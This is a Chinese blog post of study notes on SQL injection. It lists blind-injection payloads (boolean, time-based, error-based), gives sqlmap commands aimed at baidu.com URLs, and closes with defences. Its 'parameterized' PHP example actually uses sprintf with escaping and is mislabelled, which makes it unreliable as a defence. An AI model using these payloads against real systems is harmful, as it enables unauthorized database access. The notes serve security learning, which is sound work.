sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御

本文介绍了SQL注入的基本概念,包括布尔型、时间型和错误型盲注,讲解了left()、substr()等函数的利用,以及sleep()和BENCHMARK()函数在时间型盲注中的应用。同时,讨论了防御SQL注入的方法,如参数化查询、强制数据类型转换和使用WAF产品。
摘要由CSDN通过智能技术生成

第   21   

SQL注入的利用与防御

课程入口(付费)

275444c4fa4e95d61d2bf9fe2c4f69ce.png

个人背景

李,本科,电子信息工程专业,毕业一年半,有JavaScript的,PHP,Python的语言基础,目前自学网络安全中。

SQL注入的利用与防御

01 SQL盲注

1.1 SQL盲注概念

无法通过SQL注入在页面返回内容中找到所需要的数据或者用作注入成功判断的内容,都可以称作SQL盲注;这里包含说即使页面报错,但是很可能是通用的错误信息,不能用于注入判断的情况。

6978c25013df276d7c63035042e42831.png       

1.2 SQL盲注分类

按照网上的分类,有三种:布尔型、时间型、错误型。

3878dbeafd527330401bf990c2316fc9.png       

1.3 布尔型

  • left() 函数

left(database(),1)>'s'            

解析:database()显示数据库名称,left(a,b)从左侧截取a的前b位

  • substr()函数,ascii()函数

ascii(substr((select table_name information_schema.tables where
tables_schema=database()limit 0,1),1,1))=101 --+

解析:substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值

ascii(substr((select database()),1,1))=98
  • ORD()函数,MID()函数

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM
security.users ORDER BY id LIMIT 0,1),1,1))>98%23            

解析:MID(a,b,c)从位置b开始,截取a字符串的c位ORD()函数同ascii(),将字符转为ascii值

  • regexp正则注入

正则注入介绍:

http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:select user() regexp '^[a-z]';

解析:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

第二位可以用select user() regexp '^ro'来进行   

31e74f1fa301b74e5d145d21e0aca728.png

当正确的时候显示结果为1,不正确的时候显示结果为0

  • like匹配注入

和上述的正则类似,mysql在匹配的时候我们可以用ike进行匹配。

用法:select user() like 'ro%'

1.4 时间型

  • sleep()函数

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  

if判断语句,条件为假,执行sleep,延时5秒

  • BENCHMARK(count,expr) 函数

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)
FROM (select database() as current) as tb1;

BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。

这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()函数进行注入。

Mysql

BENCHMARK(100000,MD5(1))  or sleep(5)

Postgresql

PG_SLEEP(5)   OR GENERATE_SERIES(1,10000)

Mssql server

WAITFOR DELAY '0:0:5'

1.5 错误型

select exp(~(select * FROM(SELECT USER())a))        //double数值类型超出范围,Exp()为以e为底的对数函数;版本在5.5.5及其以上

可以参考exp报错文章:

http://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) -(ps:这是减号) ~0   //bigint超出范围;~0是对0逐位取反,很大的版本在5.5.5及其以上

可以参考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

extractvalue(1,concat(0x7e,(select @@version),0x7e))//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
select*from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重复特性,此处重复了version,所以报错。

具体盲注介绍请参考:

https://www.cnblogs.com/lcamry/p/5763129.html

02 SQL MAP简单实用

GET请求

sqlmap.py -u “http://baidu.com/cmd?id=1”

POST请求

sqlmap.py -u 'http://www.baidu.com ' --data 'id=1&search=2'

具体SQLMap请参考:

https://www.cnblogs.com/ichunqiu/p/5805108.html

https://www.fujieace.com/hacker/sqlmap-12.html

03 SQL注入防御
  • 在代码层面,可以使用参数化语句或者强制数据类型,强制类型比较好理解,就是比如某个参数的值能确定是int,在构建SQL语句前先强制int转换类型,而参数化的话比如PHP中的参数化可以这样写:

$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($con,$id));

$result=mysqli_query($con,$query);

  • 使用黑白名单进行输入验证,对用户提交内容进行验证,比如针对特殊关键词,比如union可以列入黑名单,一旦发现则认定为攻击请求,直接屏蔽。有一些语言有自带这样的验证用的安全方法可以直接调用,或者用一些外部的安全框架和API也是可以的,比如之前的章节内容提到的OWASP的ESAPI。

  • 可以使用WAF产品,不过其实这个方法对Web漏洞是通用。

0

下期更新笔记内容:

常见WEB漏洞:文件上传 第一节 

100f6c8ec07ecc2712677a3cdd4dfccb.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值